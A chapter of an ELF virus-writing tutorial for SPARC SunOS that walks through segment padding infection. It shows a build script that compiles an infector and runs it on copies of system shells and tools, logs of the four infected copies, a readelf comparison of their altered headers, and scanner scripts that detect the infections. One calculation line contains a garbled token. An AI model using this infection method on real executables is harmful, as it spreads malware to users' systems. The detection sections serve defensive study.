The ELF Virus Writing HOWTO: sparc-sunos5.7
Prev |  |

# 6. Segment padding infection

| Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force.
| Darth Vader

Another interesting thing in the output of Bashful glance is the distance between the two LOAD segments:

> `VirtAddr`[2] - `VirtAddr`[1] - `MemSiz`[1] = 0x4e104 - 0x10000 - 0x2e102 = 0x10002 = 65538 bytes

> `Offset`[2] - `Offset`[1] - `FileSiz`[1] = 0x2e104 - 0x0 - 0x2e102 = 0x2 = 2 bytes

Only 2 bytes (0x2) would be needed to align the first LOAD segment up to the alignment of 0x10000. For some reason at least one complete page lies between code segment and data segment. Is this gap target for a virus? Well, that depends. See Segment padding infection (i) for a general introduction. Anyway, the interesting thing in the output below is the value of `_SC_PAGESIZE`. We can fill the gap only in chunks of that size.

Output: out/sparc-sunos5.7/segment_padding/sysconf

    _SC_CLK_TCK=100
    _SC_VERSION=199506
    _SC_PAGESIZE=4096

## 6.1. Skim the horizon

The next step is to verify the existence of this gap in a typical population of executables. Scan segment padding is platform independent, but the its output is just below. The first test is with typical places like `/bin`. Note that only the last few lines of output are shown.

Output: out/sparc-sunos5.7/scanner/dist_big

    files=0731; det_page=0000; det_align=0000; min=0x00010000; max=0x00010003

On this installation at least 731 files are possible targets. So on to all infected executables created from the sources of this document. Again only the last few lines of output is shown. It's enough to see that all infected files are detected.

Output: out/sparc-sunos5.7/scanner/dist_small

    one_step_closer/e1i1/csh_infected                    addr=000424b8 dist=0000f002
    one_step_closer/e1i1/perl_infected                   addr=001074b8 dist=0000f000
    one_step_closer/e1i1/mt_infected                     addr=00021794 dist=0000f000
    one_step_closer/e1i1/sh_infected                     addr=0004e104 dist=0000f002
    one_step_closer/e1i1/strip_sh_infected               addr=0004e104 dist=0000f002
    files=0005; det_page=0000; det_align=0005; min=0x0000f000; max=0x0000f002

## 6.2. Off we go

We found a peculiarity. We verified its existence. We have a basic framework at One step closer (i) and implemented the specific infection method at Segment padding infection (i). The code to insert is at Infection #1. So off we go.

Command: pre/sparc-sunos5.7/one_step_closer/cc.sh

    #!/usr/xpg4/bin/sh
    project=${1:-one_step_closer}
    entry_addr=${2:-e1}
    infection=${3:-i1}
    main=${4}

    /usr/local/bin/gcc -O1 -I out/sparc-sunos5.7 -D NDEBUG -g \
    	-I ./src/one_step_closer/${entry_addr} \
    	-I out/sparc-sunos5.7/${project}/${infection} \
    	-o tmp/sparc-sunos5.7/${project}/${entry_addr}${infection}/infector \
    	${main} \
    && cd tmp/sparc-sunos5.7/${project}/${entry_addr}${infection} \
    && ./infector /usr/bin/csh /usr/bin/perl /usr/bin/mt /usr/xpg4/bin/sh

Output: out/sparc-sunos5.7/one_step_closer/e1i1/cc

    Infecting copy of /usr/bin/csh... wrote 76 bytes, Ok
    Infecting copy of /usr/bin/perl... wrote 76 bytes, Ok
    Infecting copy of /usr/bin/mt... wrote 76 bytes, Ok
    Infecting copy of /usr/xpg4/bin/sh... wrote 76 bytes, Ok
    4 infected, 0 failed

A simple shell script will do as test.

Output = Command: out/sparc-sunos5.7/one_step_closer/test-e1i1.sh

    #!tmp/sparc-sunos5.7/one_step_closer/e1i1/sh_infected
    echo $_
    echo $BASH_VERSION
    tmp/sparc-sunos5.7/one_step_closer/e1i1/mt_infected
    tmp/sparc-sunos5.7/one_step_closer/e1i1/csh_infected -fc 'echo $version'
    tmp/sparc-sunos5.7/one_step_closer/e1i1/perl_infected -v | head -2
    echo "---"
    cp tmp/sparc-sunos5.7/one_step_closer/e1i1/sh_infected tmp/sparc-sunos5.7/one_step_closer/e1i1/strip_sh_infected \
    && strip tmp/sparc-sunos5.7/one_step_closer/e1i1/strip_sh_infected \
    && tmp/sparc-sunos5.7/one_step_closer/e1i1/strip_sh_infected --version

Output: out/sparc-sunos5.7/one_step_closer/test-e1i1

    ELF/usr/xpg4/bin/make

    ELFusage: mt [ -f device ] command [ count ]
    ELFversion: Undefined variable
    ELF
    This is perl, v5.8.0 built for sun4-solaris
    ---
    BFD: tmp/sparc-sunos5.7/one_step_closer/e1i1/stA.aOvm: warning: allocated section `.interp' not in segment
    out/sparc-sunos5.7/one_step_closer/test-e1i1.sh[10]: 6318 Killed

The Force is strong with this one. [1]

## 6.3. Magnifying glass

After emotions cooled down a bit we can examine the infected executable and compare it with the original.

Command: pre/sparc-sunos5.7/segment_padding/readelf.sh

    #!/usr/xpg4/bin/sh
    cd tmp/sparc-sunos5.7/one_step_closer/e1i1 \
    && /usr/xpg4/bin/ls -l sh_infected \
    && /usr/local/bin/readelf -l sh_infected

Output: out/sparc-sunos5.7/segment_padding/readelf

    -rwxr-xr-x   1 alba     alba      196860 Oct 23 01:57 sh_infected

    Elf file type is EXEC (Executable file)
    Entry point 0x3e110
    There are 5 program headers, starting at offset 52

    Program Headers:
      Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
      PHDR           0x000034 0x00010034 0x00000000 0x000a0 0x000a0 R E 0
      INTERP         0x0000d4 0x00000000 0x00000000 0x00011 0x00000 R   0
          [Requesting program interpreter: /usr/lib/ld.so.1]
      LOAD           0x000000 0x00010000 0x00000000 0x2f102 0x2f102 R E 0x10000
      LOAD           0x02f104 0x0004e104 0x00000000 0x00b18 0x0201f RWE 0x10000
      DYNAMIC        0x02f6e8 0x0004e6e8 0x00000000 0x000b8 0x00000 RWE 0

     Section to Segment mapping:
      Segment Sections...
       00
       01
       02     .interp .hash .dynsym .dynstr .SUNW_version .rela.ex_shared .rela.data .rela.bss .rela.plt .text .init .fini .exception_ranges .rodata .rodata1
       03     .got .plt .dynamic .ex_shared .data .data1 .bss
       04

File size and code segment have grown as expected. Data segment and `DYNAMIC` segment moved accordingly:

> infected.file_size - sh.file_size = 196860 - 192764 = 4096 = 0x1000

> infected.`LOAD`[1].`Filesiz` - sh.`LOAD`[1].`Filesiz` = 0x2f102 - 0x2e102 = 0x1000

> infected.`LOAD`[2].`Offset` - sh.`LOAD`[2].`Offset` = 0x2f104 - 0x2e104 = 0x1000

> infected.`DYNAMIC`.`Offset` - sh.`DYNAMIC`.`Offset` = 0x2f6e8 - 0x2e6e8 = 0x1000

## 6.4. First scan

The small output of Scan segment padding contains the executable from last chapter. But for clarity we repeat the exercise.

Command: pre/sparc-sunos5.7/segment_padding/scan_dist.sh

    #!/usr/xpg4/bin/sh
    TEVWH_TMP=tmp/sparc-sunos5.7
    TEVWH_PAGESIZE=1000
    TEVWH_ELF_ALIGN=10000
    export TEVWH_TMP TEVWH_PAGESIZE TEVWH_ELF_ALIGN

    /usr/local/bin/objdump -p \
    	/usr/xpg4/bin/sh \
    	tmp/sparc-sunos5.7/one_step_closer/e1i1/sh_infected \
    | ./src/scanner/dist.pl

Output: out/sparc-sunos5.7/segment_padding/scan

    one_step_closer/e1i1/sh_infected                     addr=0004e104 dist=0000f002
    files=0002; det_page=0000; det_align=0001; min=0x0000f002; max=0x00010002

This is like playing chess against oneself, and losing. Can't do much about it, though.

## 6.5. Second scan

The value of `Entry point` changed dramatically. In the original it is in the first part of the file:

> entry_point_m/additional.cs.xml = 0x17560 - 0x10000 = 0x7560 = 30048 bytes.

The infected copy moved that to less than `1000` bytes from the end of the code segment.

> entry_point_ofs = 0x3e110 - 0x10000 = 0x2e110 = 188688 bytes.

> end_of_LOAD1 = 0x10000 + 0x2f102 = 0x3f102

> entry_point_distance_to_end = 0x3f102 - 0x3e110 = 0xff2 = 4082

This alone is an easy vulnerability to scanners. But since Sections we know that for regular executables the entry point equals the start of section `.text`. We let the script in Scan entry point loose on all infected executables produced from the sources of this document. Only a few are detected. Which means there is cure against this vulnerability (just read on).

Output: out/sparc-sunos5.7/scanner/entry_point_small

    one_step_closer/e1i1/csh_infected                                ep=0x000324c0 sot=0x00018a28
    one_step_closer/e1i1/perl_infected                               ep=0x000f74c0 sot=0x00024440
    one_step_closer/e1i1/mt_infected                                 ep=0x000117a0 sot=0x00010a90
    one_step_closer/e1i1/sh_infected                                 ep=0x0003e110 sot=0x00017560
    one_step_closer/e1i1/strip_sh_infected                           ep=0x0003e110 sot=0x00017560
    files=0005; detected=0005

### Notes

[1] | Ok, it is not strip-safe on SunOS. But I call that room for improvement.

Prev | Home |
readelf & objdump |  |